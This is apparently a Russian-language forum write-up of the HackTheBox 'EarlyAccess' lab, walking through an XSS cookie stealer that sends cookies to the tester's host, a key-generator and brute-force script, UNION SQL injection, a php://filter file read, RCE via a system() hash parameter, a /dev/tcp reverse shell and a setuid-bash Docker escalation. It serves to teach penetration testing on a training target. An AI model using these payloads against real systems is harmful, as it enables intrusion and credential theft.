Посмотреть вложение 57018

Приветствую!

Продолжаем проходить лаборатории и CTF с сайта HackTheBox! В этой лаборатории мы разберём машину EarlyAccess (Linux - Web).
Сегодня мы применим уязвимости такие как SQLi, XSS и RCE, а так же рассмотрим повышение привилегий через Docker! Начинаем)

Данные:

Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt.
Основная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.11.110
IP адрес основной машины - 10.10.14.66

Начальная разведка и сканирование портов:

Запустим Nmap для сканирования нашего хоста:

nmap -sC -sV 10.10.11.110

Посмотреть вложение 57019

Из его вывода мы видим интересующие нас порты: вебчик (80/http, 443/https) и 22/ssh
Перед переходом на сайт, добавим доменное имя earlyaccess.htb в файл хостов /etc/hosts:

echo '10.10.11.110 earlyaccess.htb' >> /etc/hosts

XSS уязвимость в сообщении:

Далее сам вход на сайт...
И мы видим вот такую домашнюю страницу:

Посмотреть вложение 57020

Здесь нам предлагают войти в аккаунт или зарегистрироваться, для начала давайте попробуем зарегистрироваться:

Посмотреть вложение 57022

Вводим все свои данные и нажимаем на кнопку Register. Нас перекидывает в домашнюю страницу пользователя:

Посмотреть вложение 57023

Итак... у нас есть почта администрации - [email protected]
Просматривая ссылки сайта, мы можем заметить форму контактов - Messaging и отправку репортов в ней:

Посмотреть вложение 57024

Давайте попробуем выявить здесь XSS уязвимость. Укажем в качестве параметров строку:

<h1>XSS TEST<h1>

Посмотреть вложение 57025

Но как мы видим наша уязвимость не отработала, но мы можем перехватить наш запрос с помощью BurpSuite и разобрать его!
Запустим у себя Intercept и через FoxyProxy перехватим трафик:

Посмотреть вложение 57026

Здесь мы видим что наш репорт (с нашим XSS) отправляется на почту [email protected], давайте заменим её на нашу и отправим наш пэйлоад себе:

Посмотреть вложение 57027

Теперь, после отправки нашего пэйлоада себе же, проверим почту:

Посмотреть вложение 57028

Казалось бы что ничего не сработало, но посмотрев внимательней, мы можем заметить что отображается имя пользователя который и отправил нам это сообщение!
Это уже и есть та самая потенциальная уязвимость, попробуем изменить наше имя на пэйлоад:

<h1>QUIETMOTH-XSS</h1>

Посмотреть вложение 57029

После удачной смены нашего ника, попробуем отправить то же самое письмо ещё раз:

Посмотреть вложение 57031

Перейдем в нашу почту:

Посмотреть вложение 57032

И видим заветную XSS уязвимость в нашем нике, теперь для продвижения наших привилегий на сайте, попробуем использовать XSS Cookie-Stealer на JS:

<script>document.location="http://10.10.14.66/?c="+document.cookie;</script>

Если вкратце, с помощью этого стиллера куки, мы обращаемся от аккаунта администратора с его куки к нашему серверу.
Теперь вставим этот стиллер в наш ник и напишем администратору предварительно открыв свой python3 HTTPserver на порту 80:

python3 -m http.server 80

Посмотреть вложение 57033

Далее ждём пока админ прочитает наше сообщение, которое даст нам его куки:

Посмотреть вложение 57034

Иии... Ура! У нас есть доступ к админу, но это только начало);)

Учетная запись админа и поддомены:

Теперь нам осталось зайти в аккаунт админа и проверить его домашнюю страницу на функционал.

Посмотреть вложение 57035

Итак, войдя на страницу, видим что мы admin, а также страницы: Admin, Dev, Game.
Перейдем на вкладку Dev, но сперва нужно будет добавить dev.earlyaccess.htb в /etc/hosts, а также добавим game.earlyaccess.htb туда же:

Посмотреть вложение 57036

И снова нас встречает форма входа в аккаунт...
Перейдем в директорию админской панели.

Посмотреть вложение 57044

Давайте перейдем на страницу загрузки бэкапа:

Посмотреть вложение 57047

Стоит отметить, что эта страница сообщает нам, про использование ручной проверки, мы должны
предоставить magic_num приложению. Скачиваем Key-validator и продолжаем энумерацию кода.
Запаситесь сладостями, так как впереди сложная работа:coffee:

Посмотреть вложение 57046

И вытащив единственный файл из бэкапа под названием - validate.py, мы можем написать скрипт который будет создавать ключ, который и обойдет эту валидацию.

Key Validator:

Начнём разборку данного кода с самого верха:

Посмотреть вложение 57048

Первые строки кода состоят из импорта.
Библиотека sys позволяет скрипту взаимодействовать с системой, а функция match из библиотеки re обеспечивает возможность поиска шаблонов регулярных выражений.

Посмотреть вложение 57049

Класс Key содержит три переменные: key, magic_value и magic_num.
Комментарий, сообщает нам, что некоторые из этих переменных необходимо синхронизировать с API.
А ещё можем заметить что magic_num изменяется каждые 30 минут, а вот magic_value наоборот - константа.
Чтобы создать объект из этого класса, вы должны предоставить ключ и magic_num.
Если нет то указано значение magic_num, по умолчанию оно равно 346.

Функции класса Key:

Посмотреть вложение 57050

Первая функция info() - возвращает информацию о скрипте.

Посмотреть вложение 57051

Вторая valid_format - проверяет правильность формата предоставленного ключа.

Ключ должен быть в следующего формата: AAAAA-BBBBB-CCCC1-DDDDD-1234

Посмотреть вложение 57052

Третья функция calc_cs - берет полученный ключ и разбивает его на отдельные группы, которые разделяются знаком - .
Затем значения каждого символа всех групп, кроме символов в последней группе - суммируются.

Функции проверки:

Посмотреть вложение 57053

Далее у нас есть пять функций: g1_valid, g2_valid, g3_valid, g4_valid и cs_valid. Судя по их названиям кажется, что эти функции используются при проверке каждой группы отдельно, а это означает что если мы перестроим каждую функцию, мы сможем создать подходящий ключ.

Посмотреть вложение 57054

Первая функция проверки - g1_valid <- она стартует с первой группы ключа.
Тогда она проходит по каждым первым 3'ем символам и сдвигает влево значение каждого на равный index+1 по модулю 256.
Далее она наконец подвергается XOR'у с исходным символом.
Затем она проверяет, соответствует ли результат XOR - трем значениям.
Что касается последних двух символов - она проверяет, являются ли они целыми числами.
Наконец, она проверяет, соответствует ли длина группы длине набора, произведенного из этой группы.
Эта окончательная проверка означает, что в первой группе нет повторов.

Посмотреть вложение 57055

Вторая функция попроще:)

Вторая функция g2_valid <- начинается со второй группы ключа.
Затем вторая группа разбивается на две части, называемые p1 и p2.
Первая часть, содержит все четные индексы, а вторая часть содержит все нечетные индексы.
Тогда все значения четного и нечетного индексов суммируются и сравниваются.
Если суммы совпадают, группа действительна.

Посмотреть вложение 57057

Третья фунция g3_valid <- начинается с третьей группы ключа.
Видим TODO комментарий, в нём говорится о синхронизации magic_num с API.
После получения третьей группы - функция проверяет, совпадают ли первые два символа со значением magic_value.
Затем она проверяет, сумму всех значений (включая первые два) третьей группы равна magic_num.

Посмотреть вложение 57060

Четвертая функция g4_valid, она начинается с четвертой группы ключа.
Она XOR'ит каждый символ четвертой группы с соответствующим ему символом.
Из первой группы он сверяет результат с некоторыми значениями.

Посмотреть вложение 57061

Ну и заключительная функция cs_valid.
Она проверяет, соответствует ли функция результату calc_cs, которая представляет собой сумму всех значений из предыдущей группы.

Проверка:

Посмотреть вложение 57062

Функция проверки гарантирует, что все проверки действительны для полученного ключа.

Заключительная функция Main:

Посмотреть вложение 57064

Она проверяет, что скрипт был вызван с аргументом.
Если нет, то показывает info скрипта.
В другом случае, если она принимает аргумент, создает валидатор, используя класс Key.
И наконец, она вызывает функцию Key.check и даёт нам результат проверки.

Фух, теперь можно выдохнуть, но нам ещё нужно составить генератор этих ключей, так что за работу);)

Генерация всех групп и ключей:

Для начала нам нужно составить правильный ключ для группы 1 - g1_valid.
Создадим скрипт который подберет этот ключ:


Python:
#!/usr/bin/env python3

import string
from random import randrange
import sys

def generate_01() -> str:
    g1 = []
    target = [221,81,145]
    while len(g1) != 3:
        g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])

    g1.append(str(randrange(0,9)))
    g1.append(str(randrange(0,9)))
 
    return "".join(g1)

print(generate_01())

Наша стратегия состоит в вычислении одного и того же шага XOR для всех заглавных букв (мы используем только прописные буквы, потому что формат проверки допускает только их).
Далее мы сохраняем их и убеждаемся что результат операции соответствует результату в g1_valid.
И наконец, добавляем два случайных целых числа в качестве последних двух символов.
Результатом выполнения этого скрипта является - KEY07
Из этого мы делаем вывод, что первыми тремя символами этого игрового ключа являются -> KEY

Составим скрипт, но уже для второго ключа:

Python:
def generate_02() -> str:
    g2 = []
    values = string.ascii_uppercase+string.digits

    for x in values:
        for y in values:
            if ord(x)*3 == ord(y)*2:
                g2.append((x+y) * 2 + x)
    return g2[randrange(0,len(g2))] # Получаем рандомный ключ

Вычисление становится ещё проще, ведь никакой проверки ключа здесь нет,
Так как во второй группе пять символов, три из них расположены по четным индексам и два по нечетным, но нужно включить ещё и цифры.
Уравнение 3*even = 2*odd - наглядно демонстрирует проверку второй функции.

Итак, теперь мы можем обьеденить наш код из двух групп и получить ключ из них:

Python:
#!/usr/bin/env python3

import string
from random import randrange
import sys

def generate_g1() -> str:
    g1 = []
    target = [221,81,145]
    while len(g1) != 3:
        g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])

    g1.append(str(randrange(0,9)))
    g1.append(str(randrange(0,9)))

    return "".join(g1)

def generate_g2() -> str:
    g2 = []
    values = string.ascii_uppercase+string.digits

    for x in values:
        for y in values:
            if ord(x)*3 == ord(y)*2:
                g2.append((x+y) * 2 + x)
    return g2[randrange(0,len(g2))] # Получаем рандомный ключ

print(f"{generate_g1()}-{generate_g2()}")

Получаем вот такой результат -> KEY57-6Q6Q6

Далее нужно составить скрипт для третьей группы.
Здесь нам нужно найти значение всевозможных значений magic_num.
Функция valid_format сообщает нам, что правильный формат для этой группы - [A-Z]{4}[0-9], но поскольку мы знаем, что первые два символа всегда XP, формат упрощается -> XP[A-Z][A-Z][0-9].
Это значит, что мы получам наименьшее магическое число с XPAA0 и самое большое с XPZZ9.
Вычислим этот диапазон:

Посмотреть вложение 57070

У нас есть 60 возможных ключей (включая 346, следовательно и +1), которые мы должны взломать с помощью API.
Описывать подробно составление этого скрипта я не буду, так как это займет у вас кучу времени)

Python:
def generate_g3(magic_num:int, magic_value:str="XP") -> str:
    remain = magic_num - sum(bytearray(magic_value.encode()))
    for num in range(ord("0"), ord("9")+1):
        value = remain - num
        if value % 2 == 0:
            half = int(value / 2)
            if half >= ord("A") and half <= ord("Z"):
                return f"XP{2*chr(half)}{chr(num)}"
        if (value - 65) >= ord("A") and (value - 65) <= ord("Z"):
            return f"XPA{chr(value-65)}{chr(num)}"

Добавим generate_g3 в наш скрипт.
Теперь изменим нашу main функцию в соответствии с нашим кодом, дабы создать первые три группы для всех возможных значений magic_num:

Python:
if __name__ == "__main__":
    keys = []
    for magic_num in range(sum(bytearray(b"XPAA0")), sum(bytearray(b"XPZZ9"))+1):
        key = f"{generate_g1()}-{generate_g2()}-{generate_g3(magic_num)}"
        keys.append(key)
 
    print(f"[+] Generated {len(keys)} keys:")
    print("\n".join(keys))

Теперь суммируем все наши писания:

Python:
#!/usr/bin/env python3

import string
from random import randrange
import sys

def generate_g1() -> str:
    g1 = []
    target = [221,81,145]
    while len(g1) != 3:
        g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])

    g1.append(str(randrange(0,9)))
    g1.append(str(randrange(0,9)))

    return "".join(g1)

def generate_g2() -> str:
    g2 = []
    values = string.ascii_uppercase+string.digits

    for x in values:
        for y in values:
            if ord(x)*3 == ord(y)*2:
                g2.append((x+y) * 2 + x)
    return g2[randrange(0,len(g2))] # Получаем рандомный ключ

def generate_g3(magic_num:int, magic_value:str="XP") -> str:
    remain = magic_num - sum(bytearray(magic_value.encode()))
    for num in range(ord("0"), ord("9")+1):
        value = remain - num
        if value % 2 == 0:
            half = int(value / 2)
            if half >= ord("A") and half <= ord("Z"):
                return f"XP{2*chr(half)}{chr(num)}"
        if (value - 65) >= ord("A") and (value - 65) <= ord("Z"):
            return f"XPA{chr(value-65)}{chr(num)}"

if __name__ == "__main__":
    keys = []
    for magic_num in range(sum(bytearray(b"XPAA0")), sum(bytearray(b"XPZZ9"))+1):
        key = f"{generate_g1()}-{generate_g2()}-{generate_g3(magic_num)}"
        keys.append(key)
 
    print(f"[+] Generated {len(keys)} keys:")
    print("\n".join(keys))

Результат выполнения этого скрипта будет вывод 60 ключей:

Посмотреть вложение 57072

3 группы готовы, далее нужно сделать ещё две, приступим за четвертую:
Здесь нам нужно выполнить операции XOR для каждого символа из первой группы, на примере A ^ B = C -> A ^ C = B.

Python:
def generate_g4(g1:str) -> str:
    return "".join([chr(i^ord(g)) for g, i in zip(list(g1), [12, 4, 20, 117, 0])])

И последняя функция - cs_valid.
Мы можем просто повторно использовать функцию calc_cs, чтобы получить наш результат:

Python:
def calc_cs(key) -> int:
    gs = key.split('-')
    return sum([sum(bytearray(g.encode())) for g in gs])

Всё! Далее создадим обьединяющую функцию для всех частей групп или только правильной (если конечно есть magic_num).
А также нужно будет переделать функцию main:

Python:
#!/usr/bin/env python3

import string
from random import randrange
import sys

def generate_g1() -> str:
    g1 = []
    target = [221,81,145]
    while len(g1) != 3:
        g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])

    g1.append(str(randrange(0,9)))
    g1.append(str(randrange(0,9)))

    return "".join(g1)

def generate_g2() -> str:
    g2 = []
    values = string.ascii_uppercase+string.digits

    for x in values:
        for y in values:
            if ord(x)*3 == ord(y)*2:
                g2.append((x+y) * 2 + x)
    return g2[randrange(0,len(g2))] # Получаем рандомный ключ

def generate_g3(magic_num:int, magic_value:str="XP") -> str:
    remain = magic_num - sum(bytearray(magic_value.encode()))
    for num in range(ord("0"), ord("9")+1):
        value = remain - num
        if value % 2 == 0:
            half = int(value / 2)
            if half >= ord("A") and half <= ord("Z"):
                return f"XP{2*chr(half)}{chr(num)}"
        if (value - 65) >= ord("A") and (value - 65) <= ord("Z"):
            return f"XPA{chr(value-65)}{chr(num)}"

def generate_g4(g1:str) -> str:
    return "".join([chr(i^ord(g)) for g, i in zip(list(g1), [12, 4, 20, 117, 0])])

def calc_cs(key) -> int:
    gs = key.split('-')
    return sum([sum(bytearray(g.encode())) for g in gs])

def gen_key(magic_num:int=-1) -> list[str]:
    keys = []
    if magic_num == -1:
        # Calculate all keys
        for magic_num in range(sum(bytearray(b"XPAA0")), sum(bytearray(b"XPZZ9"))+1):
            g1 = generate_g1()
            key = f"{g1}-{generate_g2()}-{generate_g3(magic_num)}-{generate_g4(g1)}"
            key += f"-{calc_cs(key)}"
            keys.append(key)
        print(f"[+] Generated {len(keys)} keys!")
        return keys
    else:
        # Calculate for specific magic_num
        g1 = generate_g1()
        key = f"{g1}-{generate_g2()}-{generate_g3(magic_num)}-{generate_g4(g1)}"
        key += f"-{calc_cs(key)}"
        keys.append(key)
        return keys


if __name__ == "__main__":
    if len(sys.argv) > 1:
        print(f"[*] Calculating key for magic_num {sys.argv[1]}...")
        print("".join(gen_key(int(sys.argv[1]))))
    else:
        print("[*] Calculating all possible keys...")
        keys = gen_key()
        print("\n".join(keys))

Посмотреть вложение 57075
Простая генерация. 60 ключей.

Посмотреть вложение 57076
Генерация одного ключа. Magic_num=346.

Итак. Теперь нам нужно сделать брутфорс каждого ключа к этому API.
Давайте напишем его с помощью использования нескольких библиотек и обьеденим это всё в один скрипт:

Python:
#!/usr/bin/env python3
import argparse
import urllib3
import requests
import string
from random import randrange
import sys
from time import sleep, time
from bs4 import BeautifulSoup
urllib3.disable_warnings() # Убираем ssl ошибки

url = "https://earlyaccess.htb" # Наш url сайта
proxies = {}


def generate_g1() -> str:
    g1 = []
    target = [221,81,145]
    while len(g1) != 3:
        g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])

    g1.append(str(randrange(0,9)))
    g1.append(str(randrange(0,9)))

    return "".join(g1)

def generate_g2() -> str:
    g2 = []
    values = string.ascii_uppercase+string.digits

    for x in values:
        for y in values:
            if ord(x)*3 == ord(y)*2:
                g2.append((x+y) * 2 + x)
    return g2[randrange(0,len(g2))] # Получаем рандомный ключ

def generate_g3(magic_num:int, magic_value:str="XP") -> str:
    remain = magic_num - sum(bytearray(magic_value.encode()))
    for num in range(ord("0"), ord("9")+1):
        value = remain - num
        if value % 2 == 0:
            half = int(value / 2)
            if half >= ord("A") and half <= ord("Z"):
                return f"XP{2*chr(half)}{chr(num)}"
        if (value - 65) >= ord("A") and (value - 65) <= ord("Z"):
            return f"XPA{chr(value-65)}{chr(num)}"

def generate_g4(g1:str) -> str:
    return "".join([chr(i^ord(g)) for g, i in zip(list(g1), [12, 4, 20, 117, 0])])

def calc_cs(key) -> int:
    gs = key.split('-')
    return sum([sum(bytearray(g.encode())) for g in gs])

def gen_key(magic_num:int=-1) -> list[str]:
    keys = []
    if magic_num == -1:
        # Calculate all keys
        for magic_num in range(sum(bytearray(b"XPAA0")), sum(bytearray(b"XPZZ9"))+1):
            g1 = generate_g1()
            key = f"{g1}-{generate_g2()}-{generate_g3(magic_num)}-{generate_g4(g1)}"
            key += f"-{calc_cs(key)}"
            keys.append(key)
        print(f"[+] Generated {len(keys)} keys!")
        return keys
    else:
        # Calculate for specific magic_num
        g1 = generate_g1()
        key = f"{g1}-{generate_g2()}-{generate_g3(magic_num)}-{generate_g4(g1)}"
        key += f"-{calc_cs(key)}"
        keys.append(key)
        return keys

def login(session:requests.Session, email:str, password:str) -> requests.Session:
    """
    Использует `email` и `password` для входа в систему и возвращает действительный `session`, если вход был успешный
    """
    res = session.get(f"{url}/login", proxies=proxies)
    soup = BeautifulSoup(res.text, features='lxml')
    token = soup.find('input',{'type':'hidden'}).attrs["value"]
    data = {'_token':token,'email':email, 'password':password}
    resp = session.post(f"{url}/login", proxies=proxies, data=data)
    return "dashboard" in resp.url

# Далее давайте добавим функцию которая будет отправлять наш ключ и отвечать корректен он или нет.

def submit_key(session:requests.Session, key:str) -> bool:
    """
    Использует `session` для отправки ключа и возвращает `True`, если ключ успешно
    зарегистрировался в аккаунте
    """
    res = session.get(f"{url}/key", proxies=proxies)
    soup = BeautifulSoup(res.text, features='lxml')
    token = soup.find('input',{'type':'hidden'}).attrs["value"]
    data = {'_token':token, 'key':key}

    resp = session.post(f"{url}/key/add", data=data, proxies=proxies)
    soup = BeautifulSoup(resp.text, features='lxml')
    out = soup.find('div',{'class':'toast-body'})
    if out:
        out = out.text
    else:
        return False
 
    if "Game-key successfully added" in out or "Game-key is valid" in out:
        return True

    elif "Game-key is invalid" in out:
        return False

    elif "Too many requests" in out:
        print(f"[!] Got blocked! Waiting 60 seconds and then retrying...")
        sleep(60)
        # Ждем каждые 60 секунд, если блокнуло
        submit_key(session, key)
 
    else:
        print(f"[!] Unexpected result: {out}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Генератор ключей")
    parser.add_argument("--email", help="Введите email вашего аккаунта", type=str)
    parser.add_argument("--password", help="Введите пароль от вашего аккаунта", type=str)
    parser.add_argument("-c", "--cookie", help="Введите куки", type=str)
    parser.add_argument("-d", "--delay", help="Введите время ожидания запроса",
    metavar="1", type=float)
    parser.add_argument("-p", "--proxy", help="HTTP proxy",
    metavar="http://127.0.0.1:8080", type=str)
    parser.add_argument("-m", "--magic_num", help="Какой Magic Number вы хотите использовать", metavar="[346-406]", choices=range(346,405+1), type=int)
    parser.add_argument("-l", "--local", help="Найти ключ", action='store_true')
    args = parser.parse_args()

    # Вызываем помощь если аргументы неправильны
    if not any(vars(args).values()):
        parser.print_help()
        quit()

    if args.local:
        """
        Вычисли ключи
        """
        if args.magic_num:
            magic_num = args.magic_num

        else:
            magic_num = -1

        keys = gen_key(magic_num)
        print("\r\n".join(keys))
        quit()

    else:
        """
        Вставь ключи на сайт
        """
        if not (args.email and args.password) and not args.cookie:
            parser.print_usage()
            print("\nНе используется --local либо (--email and --password) или --cookie аргумент требуется!")
            quit()

        session = requests.Session()
        session.verify = False
        if args.proxy:
            proxies = {'http':args.proxy, 'https':args.proxy}
        if args.cookie:
            session.cookies.set("earlyaccess_session",args.cookie,domain="earlyaccess.htb")
        else:
            email = args.email
            password = args.password

            if not login(session, email, password):
                print(f"[-] Could not login as {email} with password: {password}!")
                quit()

        if not args.delay:
            args.delay = 0.5

        if args.magic_num:
            magic_num = args.magic_num
        else:
            magic_num = -1

        keys = gen_key(magic_num)

        print(f"[*] Testing {len(keys)} possible keys!\r\n")

        # Останавливаем время выполнения
        start_time = time()
        for index, key in enumerate(keys, start=1):
            progress = index / len(keys) * 100

            if progress < 10:
                print(f"[{progress:0.2f}%] Trying key: {key}")
            else:
                print(f"[{progress:0.2f}%] Trying key: {key}")
            if submit_key(session, key):
                if args.cookie:
                    print(f"[+] Успешно зарегистрирован ключ: {key} для аккаунта с (cookie: {args.cookie}) - {index} запросы заняли время - {time() - start_time:0.2f} секунд!")
                else:
                    print(f"[+] Успешно зарегистрирован ключ: {key} для аккаунта с (cookie: {args.cookie}) - {index} запросы заняли время - {time() - start_time:0.2f} секунд!")
                print(f"[INFO] Magic_num в API это: {sum(bytearray(key.split('-')[2].encode()))}")
                quit()
        # Задержка ожидания в секундах между каждым запросом, чтобы не заблокировать сон (args.delay)
        print(f"[-] Could not find valid key! Please retry...")

Запускаем его:

python3 key_gen01.py --email [email protected] --password 'quietmoth1'

Посмотреть вложение 57083

Иии... Ура! Мы получаем долгожданный валидный ключ! Пройдем дальше!

Посмотреть вложение 57084

SQL-Injection в Scoreboard:

Теперь мы смогли пройти в game.earlyaccess.htb:

Посмотреть вложение 57085

Перейдем на вкладку Scoreboard, но никаких игроков там не найдем, давайте сыграем в змейку, после чего зайдем туда же:

Посмотреть вложение 57086

Посмотреть вложение 57087

А вот и ошибка MySQL, здесь есть sql-injection, теперь давайте попробуем поменять ники и эксплуатировать данную уязвимость!

Посмотреть вложение 57088

Попробуем найти UNION based SQL-i. Поставим в имя ') UNION SELECT 1,2,3 -- -
Теперь зайдем в Scoreboard!

Посмотреть вложение 57089

Есть! Теперь попррбуем найти учетные данные в базах!
Так как мы не знаем название нашей базы, попробуем найти её в information_schema.schemata.
Поставим себе ник: ') UNION SELECT 1,2,schema_name from information_schema.schemata -- -
Опять заходим в Scoreboard!

Посмотреть вложение 57090

О да! Мы получили имя базы - db
Теперь выведем все таблицы этой базы.
В ник ставим: ') UNION SELECT 1,table_schema,table_name from information_schema.tables where table_schema='db' -- -

Посмотреть вложение 57091

И среди таблиц замечаем таблицу users, давайте выведем её колонки:
') UNION SELECT 1,column_name,table_name from information_schema.columns where table_name='users' -- - в ник!

Посмотреть вложение 57092

А вот теперь выведем содержимое этих колонок!
Вводим в ник ') UNION SELECT name,password,email from db.users -- -

Посмотреть вложение 57093

И видим хэши всех паролей пользователей!
Но интересует нас тут только хэш админа, давайте воспользуемся JohnTheRipper и расшифруем его!

john --wordlist=/root/rockyou.txt hash.hash

И за считанные секунды находим его пароль: gameover

RCE в dev.earlyaccess.htb:

После получения пароля администратора, перейдем на поддомен dev.earlyaccess.htb:

Посмотреть вложение 57094

И сразу видим две вкладки: Hashing-Tools и File-Tools!
Перейдем в первую из них - Hashing-Tools.

Посмотреть вложение 57095

Здесь нас встречает поле ввода пароля и его хэширование.
Попробовав передать ему свой пароль, он захэшировал его в MD5, хорошо, тогда попробуем найти что-нибудь интересное на вкладке File-Tools.

Посмотреть вложение 57097

Здесь написано что UI ещё не готов.
Тогда затестим наш hashing-tools и проверим с помощью BurpSuite, какой запрос выполняется на стороне.

Посмотреть вложение 57098

И мы видим в URL, что методом POST передаются в /actions/hash.php
Давайте попробуем перебрать эту директорию (/actions/) на другие интересные файлы:

dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx -t 50 -u http://dev.earlyaccess.htb/actions/

Посмотреть вложение 57099

И среди запросов видим файл под названием - file.php.
Если мы перейдем на него, нам прилетит в ответ ошибка 500, тогда давайте переберем параметры для этого php файла!

ffuf -w /root/burp-parameter-names.txt -u 'http://dev.earlyaccess.htb/actions/file.php?FUZZ=test' -b 'PHPSESSID=a11619c6236186e53939d92901d032c6' -mc 500 -fw 3

Посмотреть вложение 57100

И мы находим параметр filepath!
Попробуем использовать LFI уязвимость, чтобы прочитать /etc/passwd.

curl -b 'PHPSESSID=a11619c6236186e53939d92901d032c6' http://dev.earlyaccess.htb/actions/file.php?filepath=/etc/passwd

Посмотреть вложение 57102

Но при запросе, нам выдает ответ, что из-за безопасности нельзя читать файлы в других директориях.
Хорошо, тогда прочитаем файл hash.php и посмотрим какой код хранится в нём.

curl -b 'PHPSESSID=a11619c6236186e53939d92901d032c6' http://dev.earlyaccess.htb/actions/file.php?filepath=hash.php

Посмотреть вложение 57103

Но получаем ошибку на наш запрос!
Тогда давайте использовать php wrapper'ы для вывода в base64 содержимого файла.

curl -b 'PHPSESSID=a11619c6236186e53939d92901d032c6' http://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=hash.php

Посмотреть вложение 57105

И получаем зашифрованный в base64 код файла hash.php.
Разшифровываем его в файл и внимательно читаем его.

Функция hash_pw принимает два аргумента: хеш-функцию и пароль. Также имеется заметка где разработчик говорит нам, что он не верит, что это хороший способ реализовать желаемую функциональность.
Глядя дальше в исходный код, мы можем увидеть, где вызывается эта функция.

Посмотреть вложение 57106

Когда действие параметра настроено на проверку и если в запросе есть параметр debug, нам разрешено указывать любую хеш-функцию, которую мы хотим. Мы можем использовать это и получить RCE, установив хеш-функцию как system() и пароль как команду, которую мы хотим выполнять.

curl -b "PHPSESSID=2db0557468564212920c1722ef9082ae" -X POST http://dev.earlyaccess.htb/actions/hash.php -d "action=hash&password=id&hash_function=system&debug=true"

Посмотреть вложение 57108

Есть! Мы получили RCE, теперь прокинем Back-Connect до себя:

curl -b "PHPSESSID=2db0557468564212920c1722ef9082ae" -X POST http://dev.earlyaccess.htb/actions/hash.php -d "action=hash&password=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.66/9999+0>%261"&hash_function=system&debug=true"

Посмотреть вложение 57109

Отлично, у нас есть шелл! Теперь осмотримся на этом сервере.

Посмотреть вложение 57110

Эх... Мы в докере:cry: Это конечно огорчает, но не сильно, пробуем найти ещё что-нибудь.
Перейдем в директорию пользователей - /home и попробуем найти интересное там.

Посмотреть вложение 57111

Из интересного здесь пользователь www-adm.
Попробуем зайти на него с ранее полученым паролем - gameover.

Посмотреть вложение 57112

Ура! Пароль подошёл, теперь посмотрим его домашнюю папку, и проверим на наличие кредов!

Посмотреть вложение 57114

И в файле .wgetrc находим данные от пользователя api и паролем s3Cur3_API_PW!
Давайте проверим хост API.

nc api 80

Посмотреть вложение 57115

И мы видим ip адрес этого API, теперь давайте просканируем открытые порты на этом ip.
Я буду использовать bash-скрипт:

Bash:
#!/bin/bash
HOST="api"
for PORT in $(seq 1 65535);
do
    nc -z $HOST $PORT; # Connect to host foreach port
    if [[ $? -eq 0 ]]; # Port open
    then
        echo "$HOST:$PORT is open!";
    fi
done

Посмотреть вложение 57117

Предварительно загрузив его на эту машину и просканировав эти порты, мы видим что порт 5000 у хоста api - открыт!
Далее, давайте обратимся к этому хосту:

wget -O- -q api:5000

Посмотреть вложение 57118

И мы получаем ответ, где указана ссылка на /check_db, давайте посмотрим что в ней!

wget -O- -q api:5000/check_db

Посмотреть вложение 57119

И среди огромного количества данных в этой базе данных, находим пользователя drew и его пароль - XeoNu86JTznxMCQuGHrGutF3Csq5
Пробуем подключиться к SSH к нему, и у нас всё получается!

Посмотреть вложение 57123

Получаем флаг пользователя и продолжаем!

Горизонтальное повышение привилегий:

После длительного изучения этого сервера, я наткнулся на письмо в /var/mail/drew, а также у нас есть пользователь game-adm:

Посмотреть вложение 57124

Из письма мы видим пользователя game-tester и сервер game-server, про который говорится что он крашнулся.
Теперь перейдем в домашнюю папку drew и возьмем оттуда ssh ключ (id_rsa) он может понадобиться для подключения к этому пользователю.

cat ~/.ssh/id_rsa

Посмотреть вложение 57125

Если мы введем - ip addr, то получим результат о том, что мы состоим в 3 разных сетях:

Посмотреть вложение 57126

Получив наш id_rsa ключ давайте попробуем подключитсья к game-tester, но для начала, нам нужно узнать ip этого сервера:

Bash:
for j in $(seq 17 19); do for i in $(seq 2 254); do (nc -z 172.$j.0.$i 22 >/dev/null && echo "172.$j.0.$i" &); done; done

Посмотреть вложение 57127

Мы узнали ip адрес этого игрового сервера, но при поиске интересной информации на сервере, я наткнулся на файл /opt/docker-entrypoint.d/node-server.sh:

Посмотреть вложение 57128

Нам следует запомнить содержимое этого скрипта и поискать дальнейшие подсказки внутри контейнера, а пока давайте попробуем подключиться к этому ip по ssh, используя имя пользователя game-tester.

Посмотреть вложение 57129

И мы заходим сюда без пароля!
Теперь просмотрев корневую директорию, мы можем заметить ту же директорию docker-entrypoint.d.
А в файле entrypoint.sh мы видим скрипт который запускает все файлы оттуда:

Посмотреть вложение 57130

Итак, сюда мы пришли узнать какой веб-сервер здесь крутится, поэтому найдем его рабочий порт!

ss -lntup

Посмотреть вложение 57131

Среди портов мы видим порт 9999, давайте воспользуемся curl и выведем содержимое страницы:

curl 127.0.0.1:9999

Посмотреть вложение 57134

Хорошо, мы видим что у нас здесь висит сайт, давайте найдем его директорию.

Посмотреть вложение 57135

Мы находим её в /usr/src/app, а также файл сервера - server.js

Посмотреть вложение 57136

И среди кода мы видим цикл while с кругами, мы можем сломать этот сервер передав ему значение round = -1, тем самым сервер перезапустится и сможет выполнить файлы в docker-entrypoint.d.
Загрузим нашу команду бесконечным циклом while от пользователя drew:

while [ 1 -eq 1 ]; do echo 'chmod +s /bin/bash' > /opt/docker-entrypoint.d/shell.sh; chmod +x /opt/docker-entrypoint.d/shell.sh; sleep 1; done &

Далее после введения этого цикла, мы выполняем:

curl 172.19.0.2:9999/autoplay -d "rounds=-1"

И сервер перезагружается. Теперь перезайдем на game-tester и получаем root на docker'е:

/bin/bash -p

Посмотреть вложение 57137

Далее просмотрев /etc/shadow, мы найдем hash от пользователя game-adm:

Посмотреть вложение 57138


Давайте расшифруем его:

Посмотреть вложение 57139

И мы получаем пароль: gamemaster

Повышение привилегий:

Теперь зайдем через su на пользователя game-adm и двигаемся дальше!
